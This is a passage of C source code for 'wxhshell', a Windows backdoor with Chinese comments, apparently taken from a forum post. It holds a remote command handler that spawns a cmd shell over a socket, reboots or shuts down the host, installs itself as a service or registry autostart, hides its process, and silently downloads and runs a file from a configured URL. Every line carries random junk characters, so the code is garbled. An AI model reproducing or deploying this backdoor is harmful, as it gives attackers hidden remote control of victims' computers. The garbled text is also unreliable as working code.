  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ST5V!jz  
  } -`b8T0?oK  
  else { b0v:12q  
;{#^MD MB  
    switch(cmd[0]) { [kV;[c}  
  fpWg R4__  
  // 帮助 oR .cSGh  
  case '?': { b| M3 `  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J-xS:Ha'l  
    break; yF13Of^l./  
  } :O-iykXyI  
  // 安装 :kMHRm@{  
  case 'i': { x YfD()w<I  
    if(Install()) +JRF0T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +k\Uf*wh  
    else }|\d+V2On  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fX~'Zk\u  
    break; aAE>)#f(  
    } :#5xA?=* S  
  // 卸载 oVvc?P  
  case 'r': { h.eM RdlO  
    if(Uninstall()) @L/o\pvc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @I`C#~  
    else R=Zn -q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7F^#o-@=J  
    break; fu[K".  
    } 5cJ !"  
  // 显示 wxhshell 所在路径 WWKvh  
  case 'p': { ,Lpixnm]  
    char svExeFile[MAX_PATH]; 0AK,&nbF  
    strcpy(svExeFile,"\n\r"); q:\g^_!OGA  
      strcat(svExeFile,ExeFile); <TGn=>u  
        send(wsh,svExeFile,strlen(svExeFile),0); O.G'?m<: #  
    break; O.`Jl%  
    } #[{3} %b  
  // 重启 (*p , T  
  case 'b': { Z@a9mFI?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E/M_lvQ  
    if(Boot(REBOOT)) KRAcnY;u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =GlVccc  
    else { Ub1hHA*)  
    closesocket(wsh); <%.5hCTp97  
    ExitThread(0); VKp*9%9  
    } fhPkEvJ  
    break; Sr?#wev]rn  
    } qfY5Ww$8  
  // 关机 o+w;PP)+=  
  case 'd': { Zxr!:t7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !pTJ./  
    if(Boot(SHUTDOWN)) Jn:ZYqc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dZ#&YG)?e  
    else { {7u[1[L1  
    closesocket(wsh); j#r6b]k(Hv  
    ExitThread(0); YHNR 3  
    } Snp|!e  
    break; @ "a6fn  
    } 1 `^Rdi0  
  // 获取shell ]aP= Ks%  
  case 's': { :x.7vZzxs  
    CmdShell(wsh); o[oM8o<  
    closesocket(wsh); m!<i0thJ  
    ExitThread(0); m>USD? i  
    break; w(ln5q  
  } <q*oV  
  // 退出 ,}oM-B  
  case 'x': { qm/Q65>E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :NJ_n6E  
    CloseIt(wsh); gE#>RM5D  
    break; j',W 64  
    } k@zy  
  // 离开 *eI)Z=8  
  case 'q': { [Wd-Zn%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]Chj T}  
    closesocket(wsh); `&\Q +W  
    WSACleanup(); X%z }VA  
    exit(1); +$4(zP s@  
    break; dS^T$sz.co  
        } Vk< LJ S  
  } |*Z$E$k:  
  } Lg8nj< TF  
zp\8_U @  
  // 提示信息 CYOI.#m2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); db'/`JeK b  
} X%yO5c\l2  
  } 720P jQ  
DZzN>9<)^  
  return; l/;X?g5+  
} B8E'ddUw  
4iSa7YqhBT  
// shell模块句柄 RMMd#/A@}  
int CmdShell(SOCKET sock) W3`>8v1?o  
{ zJe#m|Z  
STARTUPINFO si; f{SB1M   
ZeroMemory(&si,sizeof(si)); @`\VBW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s4&^D<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U qG .:@T  
PROCESS_INFORMATION ProcessInfo; +`3!I  
char cmdline[]="cmd"; V_plq6z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); + QQS={  
  return 0; 06jqQ-_`h  
}  hi g2  
[+O"<Ua  
// 自身启动模式 GfM;saTz{  
int StartFromService(void) j ";2o(  
{ (sVi\R  
typedef struct nUkaz*4qU  
{ f~ }H  
  DWORD ExitStatus; !i=nSqW  
  DWORD PebBaseAddress; [M+f-kl  
  DWORD AffinityMask; aF03a-qw<  
  DWORD BasePriority; cuOvN"nuNj  
  ULONG UniqueProcessId; %Uz(Vd#K  
  ULONG InheritedFromUniqueProcessId; bn |zl!Pq  
}   PROCESS_BASIC_INFORMATION; oK 6(HF'&  
f/CuE%7BR  
PROCNTQSIP NtQueryInformationProcess; 4CGPO c  
^eW}XRI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2<M= L1\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Df3rV'/~  
@&[T _l  
  HANDLE             hProcess; iNMx"F0r  
  PROCESS_BASIC_INFORMATION pbi; o)'y.-@Q  
)BRKZQN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {BKl`1z  
  if(NULL == hInst ) return 0; lJ@][;  
Nj(" |`9"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :;t #\%L/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,o]4?-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?yh}/T\qp  
*L!!]Q2c  
  if (!NtQueryInformationProcess) return 0; MDF%\Sx  
g2unV[()_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0OGCilOb*  
  if(!hProcess) return 0; ~a xjjv  
CKA;.sh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Rp$}YN  
EI\9_}@,  
  CloseHandle(hProcess); mFHH515  
`5H$IP1XhA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y-CX}B#j  
if(hProcess==NULL) return 0; xLx]_R()  
\W%UZs  
HMODULE hMod; '= l[;Q^Q  
char procName[255]; < })'Y~i  
unsigned long cbNeeded; 7 [g/TB  
EM\'GW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NKQOUw:qn  
hR.@b*q?R  
  CloseHandle(hProcess); ^{8Gt @  
ZY:[ekm%4Z  
if(strstr(procName,"services")) return 1; // 以服务启动 .Lfo)?zG  
j;+?HbL  
  return 0; // 注册表启动 Y"KE7>Jf  
} umdG(osR  
fHZTXvxoL  
// 主模块 n`4K4y%Dy}  
int StartWxhshell(LPSTR lpCmdLine) w |l1'   
{ cW+t#>' r  
  SOCKET wsl; ,K^4fL$C;3  
BOOL val=TRUE; Oh4AsOj@  
  int port=0; f  nI|  
  struct sockaddr_in door; bO<CR  
hTwA%  
  if(wscfg.ws_autoins) Install();  TT-h;'nJ  
ApjOj/  
port=atoi(lpCmdLine); zq%D/H6J,  
R6=$u{D  
if(port<=0) port=wscfg.ws_port; ,\v91Rp~?  
&7_Qd4=08w  
  WSADATA data;  \lSU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _!|/ ;Nk  
pJ ?~fp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Pzb|t+"$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MCdx?m3]  
  door.sin_family = AF_INET; p6vKoI#T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "]\+?  
  door.sin_port = htons(port); mA{~Pp Sb  
[xKd7"d/n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h`3eu;5)  
closesocket(wsl); a<fUI%_  
return 1; 8| $3OVS  
} GLGz 2 ,#  
\o';"Q1H  
  if(listen(wsl,2) == INVALID_SOCKET) { z,|{fKtY}  
closesocket(wsl); qgDRu]ba  
return 1; [b$4Shx  
} LzCw+@-umw  
  Wxhshell(wsl); WQHd[2Z#e  
  WSACleanup(); *OyHHq|>q  
T\r@5Xv  
return 0; ~/_SMPLo  
pa{re,O"e  
} `~cuQ<3Tn  
1nu^F,M  
// 以NT服务方式启动 }@r{?8Ru  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -J^(eog[6  
{ mLL340c#\  
DWORD   status = 0; 1LJUr"6]  
  DWORD   specificError = 0xfffffff; >fIk;6<{  
mJM _2Ab  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B7z -7&TE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,()0' h}n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b?eu jxqg  
  serviceStatus.dwWin32ExitCode     = 0; _ A 0w[n  
  serviceStatus.dwServiceSpecificExitCode = 0; [= |jZVhT  
  serviceStatus.dwCheckPoint       = 0; $k$4% 7  
  serviceStatus.dwWaitHint       = 0; 6eokCc"o  
5K?}}Frrt`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5#QXR+ T  
  if (hServiceStatusHandle==0) return; 4npqJ1  
V"!G2&  
status = GetLastError(); Y{*u&^0{  
  if (status!=NO_ERROR) r `eU~7  
{ l (3bW1{n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Xj*vh m%i  
    serviceStatus.dwCheckPoint       = 0; <?D\+khlq  
    serviceStatus.dwWaitHint       = 0; rL5z]RY  
    serviceStatus.dwWin32ExitCode     = status; t5lO'Ll*Q]  
    serviceStatus.dwServiceSpecificExitCode = specificError; b9XW9O `B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (os$B  
    return; zuJtpMn  
  } YA&g$!  
> 0<)=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CZbYAxNl  
  serviceStatus.dwCheckPoint       = 0; :EHJ\+kejX  
  serviceStatus.dwWaitHint       = 0; N&[D>G]>v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |_ G )qp;  
} nW|wY.  
boo }u  
// 处理NT服务事件,比如:启动、停止 {$ep7;'d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `f'K@  
{ K|oacOF9  
switch(fdwControl) dZ _zg<  
{ FCkf#  
case SERVICE_CONTROL_STOP: Y-0?a?q2Fr  
  serviceStatus.dwWin32ExitCode = 0; g&n)fF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t&9A ]<n%,  
  serviceStatus.dwCheckPoint   = 0; \RVW  
  serviceStatus.dwWaitHint     = 0; nbG/c80  
  { @X3{x\i'I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D13Rx 6b  
  } rcGb[=Bf  
  return; "}Me}S<  
case SERVICE_CONTROL_PAUSE: .] `f,^v<c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @JW@-9/  
  break; 4ikdM/  
case SERVICE_CONTROL_CONTINUE: "YB** Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?3O9eZY@  
  break; C4}*) a  
case SERVICE_CONTROL_INTERROGATE: YSaJeU>@  
  break; D/=5tOy  
}; {vo +gRYYv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +x1eJug4  
} Tz9`uW~Mf  
\(">K  
// 标准应用程序主函数  {Ha8]y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KzQ3.)/q  
{ ]QuM<ms  
=~I-]4  
// 获取操作系统版本 IuZ) [*W  
OsIsNt=GetOsVer(); TT9z_Q5~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .IJ_jt-^d  
|+$%kJR=  
  // 从命令行安装 1jX3ey~  
  if(strpbrk(lpCmdLine,"iI")) Install(); x 2QIPUlf  
oBUxKisW  
  // 下载执行文件 )a3IQrf=  
if(wscfg.ws_downexe) { RaTH\ >n  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vLxQ *50v$  
  WinExec(wscfg.ws_filenam,SW_HIDE); r",]Voibd  
} ,|88r=}  
Z`&4SH=j  
if(!OsIsNt) { X w.p  
// 如果时win9x,隐藏进程并且设置为注册表启动 iVfgDo  
HideProc(); hd 0 'u  
StartWxhshell(lpCmdLine); NvN~@TL28  
} >{ me  
else + S4fGT  
  if(StartFromService()) X{kpSA~  
  // 以服务方式启动 KFZm`,+69  
  StartServiceCtrlDispatcher(DispatchTable); 6{qIU}!  
else 0q rqg]  
  // 普通方式启动 6:% L![FX  
  StartWxhshell(lpCmdLine); JH7Ad (:  
Ez{MU@Fk  
return 0; v=95_l  
}
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只看该作者 1 发表于: 2006-10-10
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